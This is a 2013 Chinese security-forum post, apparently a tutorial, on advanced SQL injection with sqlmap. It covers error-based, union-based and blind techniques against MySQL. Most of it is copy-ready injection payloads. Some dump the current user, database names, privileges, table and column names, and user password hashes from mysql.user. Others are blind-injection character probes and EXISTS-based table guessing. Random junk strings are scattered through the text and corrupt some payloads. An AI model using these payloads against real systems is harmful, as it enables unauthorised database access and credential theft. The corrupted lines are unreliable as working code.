找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
0 ?% @5 z" z( l* D! @$ _
8 u6 C1 q3 o7 b$ H" C这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
: {4 z7 v) M$ |& L( _* R 9 q5 W  v0 Z, h1 s) p* n
分类标准        分类        备注
$ t: n, m  |1 ~( Z按字段类型        整型注入,字符型注入       
. G' J0 f6 Z0 \按出现的位置        get注入,post注入,cookie注入,http header注入       
3 Y& M/ \" q- R; {3 f" o2 X% W然而高级注入是这样的& O" S7 ]! n: {% M6 Z9 Y2 O  e0 e
6 N6 e2 b5 x: V  B: s5 |" y/ u
高级注入分类        条件0 ~8 [4 ?) }) h$ q9 G9 Y
error-based sql        数据库的错误回显可以返回,存在数据库,表结构' [5 a* i9 t) R5 K
union-based sql        能够使用union,存在数据库,表结构: C: C4 U: C+ w! i
blind sql        存在注入
% L+ e& D" R% u2 e5 Q+ h我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。' G  |+ T; a/ e9 P6 U5 e; Y
" ?; C9 n5 s9 i7 N% O
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
( w% ~8 i! U% p ! v4 ?9 D$ u9 s
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
( V) ^- y' `3 j) }  L! i " z% O' ^9 A+ A7 Y- W
这里用mysql说明
5 P3 E" J% y6 ]
0 h1 G5 G8 a" j+ Q; xe注入坛子里很多了,请看戳我或者再戳我
% V! _0 f7 u4 h) Y . ?  I& k4 J- T& R
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
, R" V) p  B0 C- g
5 u% }$ C. u; R9 }$ Q! h- y+ W3 ~获取当前数据库用户名
- d3 h& q' p# D( _6 O; x ' H  P: b) Z+ W# q8 K- f5 @
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C4 l) e& `. U, o: I+ Q
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL. R/ H" s) Y, M( A& W
L, NULL#. l& f7 V# p. P- ^9 @
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。, j: {1 J" e- x% c
5 _/ |6 g9 V# L
获取数据库名" R. ^8 E  a; X; `
$ b7 _8 a+ {! w$ C( ]0 a
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#6 a0 l- y. O$ M& r: e2 E
获取所有用户名
+ h! t5 i3 S& n/ K$ s: A 4 @9 G' Q7 N. K- `7 `5 u7 X
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#5 J" }/ d2 V; O, E# M& A9 p: c
查看当前用户权限
  q. l% N: Y' X% A1 ~" t+ G
$ v1 n8 \: n4 p' D0 qUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#( r. G4 Z0 M& C
尝试获取密码,当然需要有能读mysql数据库的权限1 J. z" U7 G$ U" l7 {: o

8 H, x# K8 _. C% m. l0 k7 i% e4 R( ]UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
  A2 {  P. X0 k& A5 \' p# G获取表名,limit什么的自己搞啦8 c" s' F* y4 Z; V$ \8 E
$ ]7 w3 H: x( Y7 T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#6 y4 s. ~5 Z- @: D5 {
获取字段名及其类型
; \( T% T% I1 e% [3 k# AUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
' V, L6 w* E6 [7 ~5 f& \( ~
7 e! Z1 Y, ~) \2 i5 L2 O& Lb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
" G$ S+ n* o/ M% l- n / H8 t1 m7 |8 _% c% R
如:
; M6 O  X: _% l; q' D获取当前用户名0 ?/ u5 I% z$ o. X9 n
. ^( ], z: ^/ I3 [
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116  l7 `/ i. T# D: s1 p2 a" n
获取当前数据库
: Y( ]/ l0 D+ H* s: G, { # ?9 I8 ]) _: f9 Y) r, `5 C
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1069 i# H+ ^5 b! s8 V- _, D
获取表名
. F" F4 R7 s  e3 o" s/ B 4 r: X5 A. P* F
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
9 W, G$ r6 ]* Z4 t! V获取字段名及其类型和爆内容就不说了,改改上面的就可以了。3 v) \" k9 [9 |! k2 S! `
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。' e  N9 ~9 E. ]; G7 Q9 `% D
爆表
: c  ]7 Z$ E2 \  ~) p  i 9 A) Q; Y6 X8 d8 S, y
AND EXISTS(select * from table)
& l' Z" \0 C* f# K! r爆字段4 i" F+ L- b) l9 j# D
  U, C9 J* k, j1 Y% T. S
AND EXISTS(select pwd from table): i) i. m$ d$ ~0 `) T
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
) T4 k5 u$ h% x# A
9 q9 d7 p" y) N3 K7 k7 N本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。8 [, ^+ l5 B' [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表